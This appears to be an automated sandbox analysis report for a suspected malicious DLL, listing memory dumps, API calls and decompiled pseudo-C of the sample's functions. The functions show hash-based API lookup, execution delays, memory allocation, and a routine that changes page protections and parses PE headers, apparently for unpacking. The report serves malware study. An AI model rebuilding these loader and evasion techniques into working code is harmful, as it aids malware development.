0x00000000
0x00000000
0x728b0e2f
0x728b0e30
0x728b0e33
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x728b0e33
0x728b0de3
0x728b0de7
0x728b0dee
0x728b0def
0x728b0def
0x728b0dca
0x728b0db9
0x728b0d92
0x728b0d54
0x728b0913
0x728b0913
0x728b0913
0x728b0918
0x728b091e
0x728b091e
0x00000000
0x728b0918
0x728b090d
0x728b08ad
0x728b082b
0x728b082b
0x728b082c
0x728b082d
0x728b082d
0x728b0ceb
0x728b0ceb
0x728b0cf5
0x728b0cf5
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,D0443458,D0443458), ref: 728B08FA
GetSystemInfo.KERNELBASE(?,4BCC7CBA,4BCC7CBA,?,?,F3453DD0,?,?,DB1D9B48,?,?,05411B30,00000000,80000002,00000000,-000000FC), ref: 728B0CBC
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,00000000,00000000,D0443458,D0443458,00000000,D0443458,D0443458), ref: 728B0D50

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken$InfoSystem
String ID:
API String ID: 298373132-0
Opcode ID: 73e26f902d5022a5313c1e68aa38a10c5df9f6ae3e797467fcbbaf2aafc44f9c
Instruction ID: c98d7d8046da33c47afb01c0d5112a24d23489bc1b21474113ba10381520a5d6
Opcode Fuzzy Hash: 73e26f902d5022a5313c1e68aa38a10c5df9f6ae3e797467fcbbaf2aafc44f9c
Instruction Fuzzy Hash: EB22C278604345AEE721CB2CC851F9F7BA7AF91304F10C91DE5AA9B391EB3AD805C752

Uniqueness

Uniqueness Score: -1.00%

Function 728A1494, Relevance: 1.9, Strings: 1, Instructions: 613
COMMONCrypto

Download Yara Rule

C-Code - Quality: 31%

			E728A1494(intOrPtr __ecx, void* __edx, void* __eflags) {
				intOrPtr _v40;
				intOrPtr _v60;
				void* _v68;
				char _v72;
				char _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v116;
				char _v120;
				char _v124;
				char _v128;
				char _v132;
				char _v136;
				char _v140;
				char _v144;
				char _v148;
				char _v152;
				char _v156;
				char _v160;
				char _v164;
				char _v168;
				char _v172;
				char _v176;
				char _v180;
				char _v184;
				char _v188;
				char _v192;
				char _v196;
				char _v200;
				char _v204;
				char _v208;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				char _v248;
				char _v252;
				char _v256;
				char _v260;
				char _v264;
				char _v268;
				char _v272;
				char _v276;
				void* _v288;
				intOrPtr _v292;
				char _v296;
				char _v300;
				char _v304;
				char _v308;
				char _v312;
				char _v316;
				char _v320;
				char _v324;
				char _v340;
				char _v344;
				char _v348;
				char _v352;
				char _v356;
				void* __ebp;
				void* _t282;
				intOrPtr* _t310;
				intOrPtr* _t318;
				intOrPtr* _t434;
				intOrPtr* _t480;
				void* _t481;

				_t481 = __eflags;
				_t480 =  &_v60;
				_v40 = __ecx;
				_v76 = 0;
				E728AF620( &_v72, 0);
				_v60 = 0x22dc1034;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v76, E728AF568( &_v76) + 0x10);
				E728AF558( &_v80, E728AF568( &_v80) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v88 = _v88 + 1;
				_t325 =  &_v84;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v84 + 0x10)) = 0x853cdd04;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v84, E728AF568(_t325) + 0x10);
				E728AF558( &_v88, E728AF568( &_v88) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v96 = _v96 + 1;
				_t329 =  &_v92;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v92 + 0x10)) = 0xb162dc4e;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v92, E728AF568(_t329) + 0x10);
				E728AF558( &_v96, E728AF568( &_v96) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v104 = _v104 + 1;
				_t333 =  &_v100;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v100 + 0x10)) = 0xc15ccc53;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v100, E728AF568(_t333) + 0x10);
				E728AF558( &_v104, E728AF568( &_v104) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v112 = _v112 + 1;
				_t337 =  &_v108;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v108 + 0x10)) = 0xc8fc2de6;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v108, E728AF568(_t337) + 0x10);
				E728AF558( &_v112, E728AF568( &_v112) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v120 = _v120 + 1;
				_t341 =  &_v116;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v116 + 0x10)) = 0x7d07f92f;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v116, E728AF568(_t341) + 0x10);
				E728AF558( &_v120, E728AF568( &_v120) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v128 = _v128 + 1;
				_t345 =  &_v124;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v124 + 0x10)) = 0xfc7fa539;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v124, E728AF568(_t345) + 0x10);
				E728AF558( &_v128, E728AF568( &_v128) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v136 + 1;
				_t349 =  &_v132;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v132 + 0x10)) = 0x4145240a;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v132, E728AF568(_t349) + 0x10);
				E728AF558( &_v136, E728AF568( &_v136) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v144 = _v144 + 1;
				_t353 =  &_v140;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v140 + 0x10)) = 0x2c2324e8;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v140, E728AF568(_t353) + 0x10);
				E728AF558( &_v144, E728AF568( &_v144) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v152 = _v152 + 1;
				_t357 =  &_v148;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v148 + 0x10)) = 0xf06b4c6b;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v148, E728AF568(_t357) + 0x10);
				E728AF558( &_v152, E728AF568( &_v152) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v160 = _v160 + 1;
				_t361 =  &_v156;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v156 + 0x10)) = 0xa54975b2;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v156, E728AF568(_t361) + 0x10);
				E728AF558( &_v160, E728AF568( &_v160) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v168 = _v168 + 1;
				_t365 =  &_v164;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v164 + 0x10)) = 0x563e1998;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v164, E728AF568(_t365) + 0x10);
				E728AF558( &_v168, E728AF568( &_v168) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v176 = _v176 + 1;
				_t369 =  &_v172;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v172 + 0x10)) = 0xd926c223;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v172, E728AF568(_t369) + 0x10);
				E728AF558( &_v176, E728AF568( &_v176) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v184 = _v184 + 1;
				_t373 =  &_v180;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v180 + 0x10)) = 0x80febacc;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v180, E728AF568(_t373) + 0x10);
				E728AF558( &_v184, E728AF568( &_v184) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v192 = _v192 + 1;
				_t377 =  &_v188;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v188 + 0x10)) = 0x98595b64;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v188, E728AF568(_t377) + 0x10);
				E728AF558( &_v192, E728AF568( &_v192) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v200 = _v200 + 1;
				_t381 =  &_v196;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v196 + 0x10)) = 0x8e3b5f9c;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v196, E728AF568(_t381) + 0x10);
				E728AF558( &_v200, E728AF568( &_v200) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v208 = _v208 + 1;
				_t385 =  &_v204;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v204 + 0x10)) = 0x9b42cb07;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v204, E728AF568(_t385) + 0x10);
				E728AF558( &_v208, E728AF568( &_v208) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t434 = _t480;
				 *_t434 =  *_t434 + 1;
				E728B413C(0xa5eabdf8, _t434);
				E728AF558( &_v212, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x450], xmm0");
				E728AF558( &_v216, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x458], xmm0");
				E728AF558( &_v220, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x460], xmm0");
				E728AF558( &_v224, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x468], xmm0");
				E728AF558( &_v228, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x470], xmm0");
				E728AF558( &_v232, 0x60);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x478], xmm0");
				E728AF558( &_v236, 0x70);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x480], xmm0");
				E728AF558( &_v240, 0x80);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x488], xmm0");
				E728AF558( &_v244, 0x90);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x490], xmm0");
				E728AF558( &_v248, 0xa0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x498], xmm0");
				E728AF558( &_v252, 0xb0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a0], xmm0");
				E728AF558( &_v256, 0xc0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4a8], xmm0");
				E728AF558( &_v260, 0xd0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b0], xmm0");
				E728AF558( &_v264, 0xe0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4b8], xmm0");
				E728AF558( &_v268, 0xf0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c0], xmm0");
				E728AF558( &_v272, 0x100);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4c8], xmm0");
				_t282 = E728AF558( &_v276, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp], xmm0");
				_v252 = E728A1D2C(_v248, _t434, _t481, _t282, _t282);
				_t318 = _t434;
				E728AB338( &_v248, _v256, _t481, _v252, _t318);
				E728AF8DC( &_v296, _t481);
				_v300 = 0;
				_t410 =  &_v296;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v296 + 0x10)) = 0xfb42c037;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v296, E728AF568(_t410) + 0x10);
				E728AF558( &_v300, E728AF568( &_v300) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v308 = _v308 + 1;
				_t414 =  &_v304;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v304 + 0x10)) = 0x7082aaf3;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v304, E728AF568(_t414) + 0x10);
				E728AF558( &_v308, E728AF568( &_v308) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v316 = _v316 + 1;
				_t418 =  &_v312;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v312 + 0x10)) = 0x1eeb5e35;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v312, E728AF568(_t418) + 0x10);
				E728AF558( &_v316, E728AF568( &_v316) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v324 = _v324 + 1;
				_t422 =  &_v320;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v320 + 0x10)) = 0xe856fc47;
				asm("movq [ecx+0x18], xmm0");
				E728AF8C4( &_v320, E728AF568(_t422) + 0x10);
				E728AF558( &_v324, E728AF568( &_v324) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t480 =  *_t480 + 1;
				_t310 = _t480;
				_push(_t310);
				_push(_t318);
				_push(_v292);
				_t154 = _t310 + 0x2c; // 0x2c
				E728ABAB8(_t154,  *_t480);
				E728AF558( &_v340, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d8], xmm0"); // executed
				E728AF558( &_v344, 0x10); // executed
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e0], xmm0");
				E728AF558( &_v348, "true");
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4d0], xmm0");
				E728AF558( &_v352, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [ebp+0x4e8], xmm0");
				E728AF6F0( &_v316);
				return E728AF6F0( &_v356);
			}

0x728a1494
0x728a1498
0x728a149d
0x728a14a3
0x728a14ab
0x728a14b0
0x728a14bc
0x728a14c0
0x728a14d2
0x728a14e8
0x728a14f3
0x728a14f4
0x728a14f5
0x728a14f6
0x728a14f7
0x728a14fa
0x728a14fe
0x728a1502
0x728a1509
0x728a151b
0x728a1531
0x728a153c
0x728a153d
0x728a153e
0x728a153f
0x728a1540
0x728a1543
0x728a1547
0x728a154b
0x728a1552
0x728a1564
0x728a157a
0x728a1585
0x728a1586
0x728a1587
0x728a1588
0x728a1589
0x728a158c
0x728a1590
0x728a1594
0x728a159b
0x728a15ad
0x728a15c3
0x728a15ce
0x728a15cf
0x728a15d0
0x728a15d1
0x728a15d2
0x728a15d5
0x728a15d9
0x728a15dd
0x728a15e4
0x728a15f6
0x728a160c
0x728a1617
0x728a1618
0x728a1619
0x728a161a
0x728a161b
0x728a161e
0x728a1622
0x728a1626
0x728a162d
0x728a163f
0x728a1655
0x728a1660
0x728a1661
0x728a1662
0x728a1663
0x728a1664
0x728a1667
0x728a166b
0x728a166f
0x728a1676
0x728a1688
0x728a169e
0x728a16a9
0x728a16aa
0x728a16ab
0x728a16ac
0x728a16ad
0x728a16b0
0x728a16b4
0x728a16b8
0x728a16bf
0x728a16d1
0x728a16e7
0x728a16f2
0x728a16f3
0x728a16f4
0x728a16f5
0x728a16f6
0x728a16f9
0x728a16fd
0x728a1701
0x728a1708
0x728a171a
0x728a1730
0x728a173b
0x728a173c
0x728a173d
0x728a173e
0x728a173f
0x728a1742
0x728a1746
0x728a174a
0x728a1751
0x728a1763
0x728a1779
0x728a1784
0x728a1785
0x728a1786
0x728a1787
0x728a1788
0x728a178b
0x728a178f
0x728a1793
0x728a179a
0x728a17ac
0x728a17c2
0x728a17cd
0x728a17ce
0x728a17cf
0x728a17d0
0x728a17d1
0x728a17d4
0x728a17d8
0x728a17dc
0x728a17e3
0x728a17f5
0x728a180b
0x728a1816
0x728a1817
0x728a1818
0x728a1819
0x728a181a
0x728a181d
0x728a1821
0x728a1825
0x728a182c
0x728a183e
0x728a1854
0x728a185f
0x728a1860
0x728a1861
0x728a1862
0x728a1863
0x728a1866
0x728a186a
0x728a186e
0x728a1875
0x728a1887
0x728a189d
0x728a18a8
0x728a18a9
0x728a18aa
0x728a18ab
0x728a18ac
0x728a18af
0x728a18b3
0x728a18b7
0x728a18be
0x728a18d0
0x728a18e6
0x728a18f1
0x728a18f2
0x728a18f3
0x728a18f4
0x728a18f5
0x728a18f8
0x728a18fc
0x728a1900
0x728a1907
0x728a1919
0x728a192f
0x728a193a
0x728a193b
0x728a193c
0x728a193d
0x728a193e
0x728a1941
0x728a1945
0x728a1949
0x728a1950
0x728a1962
0x728a1978
0x728a1983
0x728a1984
0x728a1985
0x728a1986
0x728a198c
0x728a198f
0x728a1991
0x728a199c
0x728a19a3
0x728a19ac
0x728a19b4
0x728a19bb
0x728a19c4
0x728a19cc
0x728a19d3
0x728a19dc
0x728a19e4
0x728a19eb
0x728a19f4
0x728a19fc
0x728a1a03
0x728a1a0c
0x728a1a14
0x728a1a1b
0x728a1a24
0x728a1a2c
0x728a1a36
0x728a1a3f
0x728a1a47
0x728a1a51
0x728a1a5a
0x728a1a62
0x728a1a6c
0x728a1a75
0x728a1a7d
0x728a1a87
0x728a1a90
0x728a1a98
0x728a1aa2
0x728a1aab
0x728a1ab3
0x728a1abd
0x728a1ac6
0x728a1ace
0x728a1ad8
0x728a1ae1
0x728a1ae9
0x728a1af3
0x728a1afc
0x728a1b04
0x728a1b0e
0x728a1b17
0x728a1b1f
0x728a1b26
0x728a1b2f
0x728a1b37
0x728a1b3e
0x728a1b43
0x728a1b51
0x728a1b55
0x728a1b64
0x728a1b6d
0x728a1b72
0x728a1b79
0x728a1b7d
0x728a1b81
0x728a1b88
0x728a1b9a
0x728a1bb0
0x728a1bbb
0x728a1bbc
0x728a1bbd
0x728a1bbe
0x728a1bbf
0x728a1bc2
0x728a1bc6
0x728a1bca
0x728a1bd1
0x728a1be3
0x728a1bf9
0x728a1c04
0x728a1c05
0x728a1c06
0x728a1c07
0x728a1c08
0x728a1c0b
0x728a1c0f
0x728a1c13
0x728a1c1a
0x728a1c2c
0x728a1c42
0x728a1c4d
0x728a1c4e
0x728a1c4f
0x728a1c50
0x728a1c51
0x728a1c54
0x728a1c58
0x728a1c5c
0x728a1c63
0x728a1c75
0x728a1c8b
0x728a1c96
0x728a1c97
0x728a1c98
0x728a1c99
0x728a1c9a
0x728a1c9d
0x728a1ca0
0x728a1ca1
0x728a1ca2
0x728a1ca9
0x728a1cac
0x728a1cb7
0x728a1cbe
0x728a1cc7
0x728a1ccf
0x728a1cd6
0x728a1cdf
0x728a1ce7
0x728a1cee
0x728a1cf7
0x728a1cff
0x728a1d04
0x728a1d0d
0x728a1d15
0x728a1d2a

Strings

$#,, xrefs: 728A1701

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID: $#,
API String ID: 0-2557146312
Opcode ID: faf8bf4f383b9672c02f2385df81a17d360748bba604cd6ce172ee8b62593912
Instruction ID: 44f24c4ea47d9810f9de784d3e9bb5164f7e78ec866e72335afc4e5b30aa6455
Opcode Fuzzy Hash: faf8bf4f383b9672c02f2385df81a17d360748bba604cd6ce172ee8b62593912
Instruction Fuzzy Hash: E7329476404B059AC719DF2CC86099FBBB1AFB1305F10871EB4992A1A1FF73EA86C751

Uniqueness

Uniqueness Score: -1.00%

Function 728B218C, Relevance: 1.5, APIs: 1, Instructions: 30
nativeCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E728B218C(void* __ecx, intOrPtr __edx, void* __esi) {
				intOrPtr _v4;
				intOrPtr _v20;
				intOrPtr* _t5;
				intOrPtr _t11;
				intOrPtr* _t13;
				intOrPtr* _t15;

				_t11 = __edx;
				if(__ecx == 0) {
					 *_t15 = 0;
					_v4 = 0;
				} else {
					 *_t15 = E728B3A34(0xffffd8f0, 0xffffffff, __ecx, 0);
					_v20 = _t11;
				}
				_t5 = E728B2F94(0xa5eabdf8, 0xd48281c0, 0xa5eabdf8, 0xa5eabdf8);
				_t13 = _t5;
				if(_t13 != 0) {
					_t5 =  *_t13(0, _t15); // executed
				}
				return _t5;
			}

0x728b218c
0x728b2190
0x728b21ac
0x728b21af
0x728b2192
0x728b21a1
0x728b21a4
0x728b21a4
0x728b21bf
0x728b21c4
0x728b21c8
0x728b21d0
0x728b21d0
0x728b21d4

APIs

NtDelayExecution.NTDLL(00000000,00000000,A5EABDF8,A5EABDF8,FFFFFFFF,FFFFFFFF,728A35C3,00000000,00000000,?), ref: 728B21D0

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: DelayExecution
String ID:
API String ID: 1249177460-0
Opcode ID: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction ID: 7ec933fe7cfa15a94fb277af112985af9fc0f4ebef4e24442ea4ac182439938e
Opcode Fuzzy Hash: e340f986def6f26baa2f9c03e956c8e364c5e46def001a9482b730e7c6c19888
Instruction Fuzzy Hash: 6BE09BB454E7416FEB54972C8D05B2B7AEE9F81351F20861CB559D63C8E635D4008722

Uniqueness

Uniqueness Score: -1.00%

Function 728B2790, Relevance: 1.5, APIs: 1, Instructions: 29
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E728B2790(void* __ecx, long __edx, void* __esi, long _a4, long _a8, void* _a12) {
				long _v4;
				void* _t8;
				long _t10;
				PVOID* _t19;

				_v4 = __edx;
				 *_t19 = __ecx;
				if(E728B2F94(0xa5eabdf8, 0xc15ccc53, 0xa5eabdf8, 0xa5eabdf8) == 0) {
					L3:
					_t8 =  *_t19;
				} else {
					_t10 = NtAllocateVirtualMemory(_a12, _t19, 0,  &_v4, _a4, _a8); // executed
					if(_t10 == 0) {
						goto L3;
					} else {
						_t8 = 0;
					}
				}
				return _t8;
			}

0x728b2797
0x728b27a0
0x728b27ae
0x728b27d1
0x728b27d1
0x728b27b0
0x728b27c7
0x728b27cb
0x00000000
0x728b27cd
0x728b27cd
0x728b27cd
0x728b27cb
0x728b27d6

APIs

NtAllocateVirtualMemory.NTDLL(A5EABDF8,?,00000000,22DC1034,00000004,00000004,A5EABDF8,A5EABDF8,?,?,728B8852,00003000,00000004,000000FF,A5EABDF8,22DC1034), ref: 728B27C7

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction ID: 3df1323dc246051d5bc2c72fd0a61650c57f6bb89366256b4c63bdc141455d79
Opcode Fuzzy Hash: fcb83ea506db4d533a488a570b7e2b2bbaaaa8a6521a140e351edaccfb331de1
Instruction Fuzzy Hash: 73E0A0B520C382AFDB19CA28CC15E2BBBEAEF88240F108C1CB095C6A04DB31C8009726

Uniqueness

Uniqueness Score: -1.00%

Function 728B3060, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E728B3060(intOrPtr* __ecx) {
				void* _t1;

				_push(E728B33D8);
				_push(1); // executed
				_t1 =  *__ecx(); // executed
				return _t1;
			}

0x728b3060
0x728b3065
0x728b3067
0x728b3069

APIs

RtlAddVectoredExceptionHandler.NTDLL(00000001,728B33D8,728B3050,A5EABDF8,A5EABDF8,?,728A2530,00000001), ref: 728B3067

Memory Dump Source

Source File: 00000003.00000002.913495696.00000000728A1000.00000020.00020000.sdmp, Offset: 728A0000, based on PE: true

Associated: 00000003.00000002.913483109.00000000728A0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913511717.00000000728BA000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.913574043.00000000728BD000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.913587981.00000000728BF000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ExceptionHandlerVectored
String ID:
API String ID: 3310709589-0
Opcode ID: 93db2407c62f2dcd7c97925f27aa91493da506e92f20156015af372e6d9f36fc
Instruction ID: a0ae19d57a1ef0ef3ae3d00a9427f01b140f81e4f97afde7ffaea4c17b1ca1ff
Opcode Fuzzy Hash: 93db2407c62f2dcd7c97925f27aa91493da506e92f20156015af372e6d9f36fc
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 025E2213, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 169
memoryCOMMON

Download Yara Rule

C-Code - Quality: 42%

			E025E2213(long __ebx, long __edi, void* __esi, intOrPtr* _a4) {
				char _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr* _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				void* _v72;
				char* _v76;
				int _v80;
				long _v84;
				long _v88;
				DWORD* _v92;
				intOrPtr _v96;
				int _v100;
				intOrPtr* _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				intOrPtr _v116;
				void* _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				char* _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v152;
				intOrPtr _v156;
				intOrPtr _v160;
				intOrPtr _v164;
				int _v168;
				char* _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				char _v184;
				intOrPtr* _t136;
				int _t143;
				int _t151;
				int _t155;
				intOrPtr _t170;
				int _t177;
				void* _t226;
				intOrPtr _t229;
				intOrPtr _t234;
				void* _t236;
				intOrPtr* _t240;
				intOrPtr _t247;
				intOrPtr _t251;
				DWORD* _t264;
				void* _t268;
				intOrPtr* _t271;
				intOrPtr* _t272;

				_t136 = _a4;
				_v20 = 0;
				_t236 =  *((intOrPtr*)(_t136 + 0x40));
				 *0x25e4418 = 1;
				asm("movaps xmm0, [0x25e3010]");
				asm("movups [0x25e4428], xmm0");
				_v48 = _t136;
				_v52 =  *((intOrPtr*)(_t136 + 0x64));
				_v56 =  *((intOrPtr*)(_v48 + 8));
				_v184 = _t236;
				_v60 =  *((intOrPtr*)(_v48 + 0x50));
				_v180 = _v52;
				_v176 = 4;
				_v172 =  &_v20;
				_v64 =  *((intOrPtr*)(_t136 + 0x60));
				_v68 = 4;
				_v72 = _t236;
				_v76 =  &_v20;
				_t143 = VirtualProtect(__esi, __edi, __ebx, _t264); // executed
				_v80 = _t143;
				_v184 = _v72;
				_v180 = 0;
				_v176 =  *((intOrPtr*)(_v48 + 0x64));
				_v84 = 0x400;
				_v88 = 2;
				_v92 =  &_v20;
				_v96 = 0;
				E025E2569();
				E025E1D28(_v72,  *((intOrPtr*)(_v48 + 0xc)), _v56);
				E025E2569( *((intOrPtr*)(_v48 + 0xc)), 0, _v56);
				_t151 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
				_t271 = _t268 - 0x88;
				_t226 = _v72;
				_t251 =  *((intOrPtr*)(_t226 + 0x3c));
				_v100 = _t151;
				_v104 = _v72 + 0x3c;
				_v108 = _t226;
				_v112 = _t251;
				if(_t251 != 0) {
					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
				}
				_v144 = _v108;
				if(_v60 != 0) {
					_v148 = 0;
					_v152 = _v144 + 0x18 + ( *(_v144 + 0x14) & 0x0000ffff);
